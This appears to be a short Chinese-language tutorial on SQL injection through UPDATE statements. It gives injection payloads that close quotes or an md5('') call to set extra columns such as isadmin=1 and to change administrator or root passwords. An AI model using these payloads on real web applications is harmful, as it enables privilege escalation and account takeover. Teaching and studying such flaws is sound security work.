SQL注入:updata与注入逻辑
updata基础语法
update tableName set columnName1=value1,columnName2=value2 ... where [条件筛选]
利用updata更新数据库,原理:
1)闭合单引号|双引号
2)传入非法sql语句
更新个人资料提权
正常语句
variable=value
mysql databaseName -e "update tableName set columnName='$variable' where [条件筛选]"
注入语句(可更改权限标识符,进而完成提权操作)
variable=',columnName2=value2,'1
mysql databaseName -e "update tableName set columnName='$variable' where [条件筛选]"
可变参数位置在set之后,因此如果对方没有筛选sql语句,那么可能存在更改变量内容,达到修改其他字段的目的。
POST传参修改管理员密码
密码一般用md5进行加密,因此需要闭合 md5('') 存在小括号
update tableName set columnName=md5('$variable') where [条件筛选]";
注入点是需要进行md5转换的变量值,如果未筛选,那么可根据已知字段名进行任意更改。
甚至直接更改管理员密码
#注入变量内容 variable=123'),isadmin=1 where uname='wspgg'; #
正常情况 ...md5('variable') where [筛选条件];
插入非正常sql语句后 ...md5('123'),isadmin=1 where uname='wspgg'; # ') where [筛选条件];
如果想要在修改自己密码时修改管理员密码,可在筛选条件中尝试注入
(省略部分sql语句).... where uname='wspggw' or uname='root' or uname='admin'; #

浙公网安备 33010602011771号